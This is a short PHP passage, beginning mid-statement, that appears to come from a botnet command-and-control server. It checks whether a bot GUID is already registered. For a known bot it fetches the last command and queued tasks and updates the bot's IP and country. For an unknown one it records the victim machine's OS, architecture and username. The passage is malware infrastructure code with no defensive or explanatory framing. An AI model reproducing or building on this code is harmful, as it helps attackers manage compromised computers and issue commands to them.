prepare($sql); $status = $stmt->execute([$data['guid']]); if ($stmt->rowCount() > 0) // bot exists { //last command db_fetch_bot_last_command($db, $data['guid'], $last_command); db_fetch_tasks($db, $data['guid'], $last_command); db_update_bot($db, $data['guid'], $ipLong, $country, $last_command); } else // new bot db_add_bot($db, $data['guid'], $ipLong, $data['os'], $data['arch'], $data['username']); } ?>